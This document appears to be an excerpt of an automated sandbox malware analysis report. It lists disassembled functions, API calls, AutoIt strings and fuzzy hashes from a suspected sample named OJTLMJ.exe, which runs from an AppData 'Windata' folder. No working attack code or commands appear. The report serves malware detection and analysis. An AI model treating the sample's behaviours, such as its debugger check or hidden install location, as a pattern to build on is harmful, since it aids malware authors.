Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: d6c420f3bade3f07860b681d3d55c08fdc1f06a66b54b76d69b7fb712c52818b
Instruction ID: f8e60c906ada553c0a0305ddd3ebb1e2d2853750eb550a5c4f3a05806dba2e78
Opcode Fuzzy Hash: d6c420f3bade3f07860b681d3d55c08fdc1f06a66b54b76d69b7fb712c52818b
Instruction Fuzzy Hash: A8F030705442D07ED73057536C4CE673E7ED7C6F10F01805FB904AA2A0C16218C9CA70

Function 00D43DCB Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D43F9B: LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00D434E2,?,00000001), ref: 00D43FCD

_free.LIBCMT ref: 00DB3C27
_free.LIBCMT ref: 00DB3C6E

Part of subcall function 00D4BDF0: GetCurrentDirectoryW.KERNEL32(00000104,?,?,00002000,?,00E022E8,?,00000000,?,00D43E2E,?,00000000,?,00DDDBF0,00000000,?), ref: 00D4BE8B
Part of subcall function 00D4BDF0: GetFullPathNameW.KERNEL32(?,00000104,?,?,?,00D43E2E,?,00000000,?,00DDDBF0,00000000,?,00000002), ref: 00D4BEA7
Part of subcall function 00D4BDF0: __wsplitpath.LIBCMT ref: 00D4BF19
Part of subcall function 00D4BDF0: _wcscpy.LIBCMT ref: 00D4BF31
Part of subcall function 00D4BDF0: _wcscat.LIBCMT ref: 00D4BF46
Part of subcall function 00D4BDF0: SetCurrentDirectoryW.KERNEL32(?), ref: 00D4BF56

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00DB3A01
Bad directive syntax error, xrefs: 00DB3C54

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CurrentDirectory_free$FullLibraryLoadNamePath__wsplitpath_wcscat_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 1510338132-1757145024
Opcode ID: a03607e96065e5b1c17fe1e1f990b6a0e88b8ec8fddaecb851b34c9c6117c81f
Instruction ID: bbe3924e598ac18b934c12dee10a18a1201c0732cf839d98b358f17940def81c
Opcode Fuzzy Hash: a03607e96065e5b1c17fe1e1f990b6a0e88b8ec8fddaecb851b34c9c6117c81f
Instruction Fuzzy Hash: 83913971910259EFCF04EFA8CC919EEB7B4FF05310F14452AE856AB291EB34AA05DB70

Function 00D6413E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getstream.LIBCMT ref: 00D6418E

Part of subcall function 00D6889E: __getptd_noexit.LIBCMT ref: 00D6889E

@_EH4_CallFilterFunc@8.LIBCMT ref: 00D641C9
__wopenfile.LIBCMT ref: 00D641D9

Strings

<G, xrefs: 00D6415D, 00D64180, 00D6418C

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CallFilterFunc@8__getptd_noexit__getstream__wopenfile
String ID: <G
API String ID: 1820251861-2138716496
Opcode ID: 7f6475d3d6210c49d09ee31761be1411e762b0c2a07a2f357f47d7a6ca95b61d
Instruction ID: 161143d9ca704097343ca3b6a086a761f9695aa263b55f62b4d735e8ed8c0c98
Opcode Fuzzy Hash: 7f6475d3d6210c49d09ee31761be1411e762b0c2a07a2f357f47d7a6ca95b61d
Instruction Fuzzy Hash: EF11C67090030AAFDB10BFB49C4266F3BA4FF66364B198525A419DB281EB78C9819771

Function 00D5C955 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,00D5C948,SwapMouseButtons,00000004,?), ref: 00D5C979
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,00D5C948,SwapMouseButtons,00000004,?,?,?,?,00D5BF22), ref: 00D5C99A
RegCloseKey.KERNEL32(00000000,?,?,00D5C948,SwapMouseButtons,00000004,?,?,?,?,00D5BF22), ref: 00D5C9BC

Strings

Control Panel\Mouse, xrefs: 00D5C977

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 6e9aa1d52572b080dfc9246dd92172faaa7c8f029d2443bb2a3c1cba7ddc966d
Instruction ID: 32831fc60217ab4fdd0348443dc456746ce9134a63aea31869923a5915a1b15a
Opcode Fuzzy Hash: 6e9aa1d52572b080dfc9246dd92172faaa7c8f029d2443bb2a3c1cba7ddc966d
Instruction Fuzzy Hash: BA117C75521309BFDF118F68DC44EAEB7B8EF04746F00542AAC41E7210E2319E44AFB0

Function 00D8CC82 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 00D441A7: _fseek.LIBCMT ref: 00D441BF

Part of subcall function 00D8CE59: _wcscmp.LIBCMT ref: 00D8CF49
Part of subcall function 00D8CE59: _wcscmp.LIBCMT ref: 00D8CF5C

_free.LIBCMT ref: 00D8CDC9
_free.LIBCMT ref: 00D8CDD0
_free.LIBCMT ref: 00D8CE3B

Part of subcall function 00D628CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00D68715,00000000,00D688A3,00D64673,?), ref: 00D628DE
Part of subcall function 00D628CA: GetLastError.KERNEL32(00000000,?,00D68715,00000000,00D688A3,00D64673,?), ref: 00D628F0

_free.LIBCMT ref: 00D8CE43

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 3bbf84d6b84c5ccb4406d7a14d13c4f849fbec825050499589f31b9b6ee91132
Instruction ID: 5bca69db0773c2c23341f2bda94104127db00e6a6b52583021a3c69a630781f6
Opcode Fuzzy Hash: 3bbf84d6b84c5ccb4406d7a14d13c4f849fbec825050499589f31b9b6ee91132
Instruction Fuzzy Hash: D1511CB1904218AFDF15AF64CC81BAEBBB9EF48340F1044AEF659A3251D7715A808F79

Function 00D43BFF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB3CF1
GetOpenFileNameW.COMDLG32(?,?,00000001,00E022E8), ref: 00DB3D35

Part of subcall function 00D431B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 00D431DA

Part of subcall function 00D43A67: SHGetMalloc.SHELL32(00D43C31), ref: 00D43A7D
Part of subcall function 00D43A67: SHGetDesktopFolder.SHELL32(?), ref: 00D43A8F
Part of subcall function 00D43A67: SHGetPathFromIDListW.SHELL32(?,?), ref: 00D43AD2

Part of subcall function 00D43B45: GetFullPathNameW.KERNEL32(?,00000104,?,?,00E022E8,?), ref: 00D43B65

Strings

X, xrefs: 00DB3D01

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: NamePath$Full$DesktopFileFolderFromListMallocOpen_memset
String ID: X
API String ID: 3714316930-3081909835
Opcode ID: dd52fee702e9554556bdc655aa9b34508b4b6410aee066da0ef9cb4fb2de75a2
Instruction ID: 8d89d76fd1db975eec31bdeb7066d77a2cd28d96bd0180aaec164bbb7f20ffc1
Opcode Fuzzy Hash: dd52fee702e9554556bdc655aa9b34508b4b6410aee066da0ef9cb4fb2de75a2
Instruction Fuzzy Hash: 7D11C6B1A00298ABCF05DFD8D8456EEBBF9EF45704F04800AE541BB341CBB54A498FB1

Function 00D43A67 Relevance: 4.6, APIs: 3, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(00D43C31), ref: 00D43A7D
SHGetPathFromIDListW.SHELL32(?,?), ref: 00D43AD2
SHGetDesktopFolder.SHELL32(?), ref: 00D43A8F

Part of subcall function 00D43B1E: _wcsncpy.LIBCMT ref: 00D43B32

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: DesktopFolderFromListMallocPath_wcsncpy
String ID:
API String ID: 3981382179-0
Opcode ID: c1da91be2c4bffaeca0fc258d493267c01a94c4f90db029725d68d19258feca9
Instruction ID: 8c8c9d11bb6cb63b3c339026b995c3ef04032d49e428f360fe0d2e9d085a558b
Opcode Fuzzy Hash: c1da91be2c4bffaeca0fc258d493267c01a94c4f90db029725d68d19258feca9
Instruction Fuzzy Hash: 13215376B00114ABCB14DF99DC84EEE77BDEF88740B1440A4F50AD7251DB309E46CBA0

Function 00D645EC Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00D64603

Part of subcall function 00D68E52: __NMSG_WRITE.LIBCMT ref: 00D68E79
Part of subcall function 00D68E52: __NMSG_WRITE.LIBCMT ref: 00D68E83

__NMSG_WRITE.LIBCMT ref: 00D6460A

Part of subcall function 00D68EB2: GetModuleFileNameW.KERNEL32(00000000,00E00312,00000104,?,00000001,00D60127), ref: 00D68F44
Part of subcall function 00D68EB2: ___crtMessageBoxW.LIBCMT ref: 00D68FF2

Part of subcall function 00D61D65: ___crtCorExitProcess.LIBCMT ref: 00D61D6B
Part of subcall function 00D61D65: ExitProcess.KERNEL32 ref: 00D61D74

Part of subcall function 00D6889E: __getptd_noexit.LIBCMT ref: 00D6889E

RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,?,?,?,?,00D60127,?,00D4125D,00000058,?,?), ref: 00D6462F

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: a261c83eb5677dfe0ce4b46b1f0e51e50927f22b4db36cbd25da241d48a31c58
Instruction ID: c365cc00f3957a0d3809afea1eb065c4296f052f54f7161f9bdf24cea5cb6fe2
Opcode Fuzzy Hash: a261c83eb5677dfe0ce4b46b1f0e51e50927f22b4db36cbd25da241d48a31c58
Instruction Fuzzy Hash: 2201F531641301AFEA203BA8EC02BAA3748EFC2761F550125F501AB1C2DFB19C408671

Function 00D8C450 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D8C45E

Part of subcall function 00D628CA: RtlFreeHeap.NTDLL(00000000,00000000,?,00D68715,00000000,00D688A3,00D64673,?), ref: 00D628DE
Part of subcall function 00D628CA: GetLastError.KERNEL32(00000000,?,00D68715,00000000,00D688A3,00D64673,?), ref: 00D628F0

_free.LIBCMT ref: 00D8C46F
_free.LIBCMT ref: 00D8C481

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 087bea45b9e552155f1be1c866ba964bb642fabb90d708dc02c9b9c981af8e32
Instruction ID: bca3f55a2f17e1d7ab04faea934b2fd91b18c41a23d24e16010aa43c0a1d09bc
Opcode Fuzzy Hash: 087bea45b9e552155f1be1c866ba964bb642fabb90d708dc02c9b9c981af8e32
Instruction Fuzzy Hash: E1E017A1710B01D7DA24BA7DAC54FB363CCAF04761B18582EF449D7182DF28F8808238

Function 00D5058E Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 527COMMON

Download Yara Rule

Strings

CALL, xrefs: 00D510DB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 08906aa2eea3eacd811cafc9a8edc7321731e606d20e7bf2c7f4dd35c502a6f2
Instruction ID: ac26d8a9c0fe6d7dda6b47349f2aa4188c68a6e5ad234e39ce2169134ec42a55
Opcode Fuzzy Hash: 08906aa2eea3eacd811cafc9a8edc7321731e606d20e7bf2c7f4dd35c502a6f2
Instruction Fuzzy Hash: 9D226C74508341CFDB24DF18C490A6ABBE1FF89305F18895DED9A8B261D771E889CF62

Function 00D4131C Relevance: 3.9, APIs: 3, Instructions: 159COMMON

Download Yara Rule

APIs

Part of subcall function 00D416F2: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00D414EB), ref: 00D41751

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00D4159B
CoInitialize.OLE32(00000000), ref: 00D41612
CloseHandle.KERNEL32(00000000), ref: 00DB58F7

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 3815369404-0
Opcode ID: 05b41cd1a940ed845f188cbdc4c6d03d85af91ad046ec4255df406555ef390dd
Instruction ID: d514e8e4c7d2e95436cef9800ebfd62cd3e95611bfcae41b02c48ad1cc33575f
Opcode Fuzzy Hash: 05b41cd1a940ed845f188cbdc4c6d03d85af91ad046ec4255df406555ef390dd
Instruction Fuzzy Hash: 1571AAB89013418FC710DF6BAD91554BBA5F79934479851AEE02ABF3B2DB3244C8CF21

Function 00D44010 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D4405A

Strings

EA06, xrefs: 00DB57B9

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 4263a23bc91a0fba6092ba4e7f8233e48263341b1781ec0a86fa3e511cd1d61d
Instruction ID: 0401bdea916ee5229a1fbc172b5657ba5033b7dac66388e05dd37a500c7a1ca9
Opcode Fuzzy Hash: 4263a23bc91a0fba6092ba4e7f8233e48263341b1781ec0a86fa3e511cd1d61d
Instruction Fuzzy Hash: 2B418D61A043589BDF159B648DA17BF7FA2DF15300F2C4465EAC2EB283CA21CDD487B1

Function 00D434C1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 00DB34AA

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: LibraryLoad
String ID: >>>AUTOIT NO CMDEXECUTE<<<
API String ID: 1029625771-2684727018
Opcode ID: 3f25a91920f24dc98a90be033b687b75080679a11b627fd15dc34ddccd0fc6cf
Instruction ID: 7eda4e4fb450d2738822a3957f968f1f86fdda538e9d6b0b24f3bf2e06132b5a
Opcode Fuzzy Hash: 3f25a91920f24dc98a90be033b687b75080679a11b627fd15dc34ddccd0fc6cf
Instruction Fuzzy Hash: 08F0FF75905209AF8F15EFA8D8919FFB778EE10310B548526B86692182EB349B09DB31

Function 00D41DCE Relevance: 3.1, APIs: 2, Instructions: 71COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00DBDB31
IsWindow.USER32(00000000), ref: 00DBDB6B

Part of subcall function 00D41F04: GetForegroundWindow.USER32 ref: 00D41FBE

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$Foreground
String ID:
API String ID: 62970417-0
Opcode ID: ee1c78e8616b348e49ba12c898bc7312de66f920aff9f4454cb4f0e01d77b0a2
Instruction ID: d977e53e710c5106f9f5839be678b0f61d498d0c4c14a0ce6671e0ad1a0834d9
Opcode Fuzzy Hash: ee1c78e8616b348e49ba12c898bc7312de66f920aff9f4454cb4f0e01d77b0a2
Instruction Fuzzy Hash: E1218C72600206AFDB11AB74C891FFE76AAEF80788F040429F95AC6141EB70EA45D770

Function 00D43682 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00D436E6

Part of subcall function 00D62025: __lock.LIBCMT ref: 00D6202B

Part of subcall function 00D432DE: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00D432F6
Part of subcall function 00D432DE: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00D4330B

Part of subcall function 00D4374E: GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,00000001), ref: 00D4376D
Part of subcall function 00D4374E: IsDebuggerPresent.KERNEL32(?,?), ref: 00D4377F
Part of subcall function 00D4374E: GetFullPathNameW.KERNEL32(C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe,00000104,?,00E01120,C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe,00E01124,?,?), ref: 00D437EE
Part of subcall function 00D4374E: SetCurrentDirectoryW.KERNEL32(?), ref: 00D43860

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00D43726

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme__lock
String ID:
API String ID: 924797094-0
Opcode ID: 21db5f3eace88edb97610e4e80e214204f5bd26b087eda8c41437adef4bfc986
Instruction ID: ef36046f3e91d6cb346f25b5ca8468dec23eb03c8ea0658c74116b84d397bbe4
Opcode Fuzzy Hash: 21db5f3eace88edb97610e4e80e214204f5bd26b087eda8c41437adef4bfc986
Instruction Fuzzy Hash: 6F119D719083429FC710DF2ADC4991ABBE8FF95750F00451EF885972A1EB759988CBB2

Function 00D6F782 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

___lock_fhandle.LIBCMT ref: 00D6F7D9
__close_nolock.LIBCMT ref: 00D6F7F2

Part of subcall function 00D6886A: __getptd_noexit.LIBCMT ref: 00D6886A

Part of subcall function 00D6889E: __getptd_noexit.LIBCMT ref: 00D6889E

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: __getptd_noexit$___lock_fhandle__close_nolock
String ID:
API String ID: 1046115767-0
Opcode ID: d284710c1b524156febbfad0fcebde4dd6378efca6fe8aad217506a1e92ca815
Instruction ID: 630f64a2c534bdc65227c1277dd113738d0a9fa41f81e0c4163be98bf1e134b3
Opcode Fuzzy Hash: d284710c1b524156febbfad0fcebde4dd6378efca6fe8aad217506a1e92ca815
Instruction Fuzzy Hash: 751182B2805A148FD711BFA8F8423587B90EF41335F9603A0E5656F1E3CBB4998097B1

Function 00D6010A Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00D645EC: __FF_MSGBANNER.LIBCMT ref: 00D64603
Part of subcall function 00D645EC: __NMSG_WRITE.LIBCMT ref: 00D6460A
Part of subcall function 00D645EC: RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,?,?,?,?,00D60127,?,00D4125D,00000058,?,?), ref: 00D6462F

std::exception::exception.LIBCMT ref: 00D6013E
__CxxThrowException@8.LIBCMT ref: 00D60153

Part of subcall function 00D67495: RaiseException.KERNEL32(?,?,00D4125D,00DF6598,?,?,?,00D60158,00D4125D,00DF6598,?,00000001), ref: 00D674E6

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
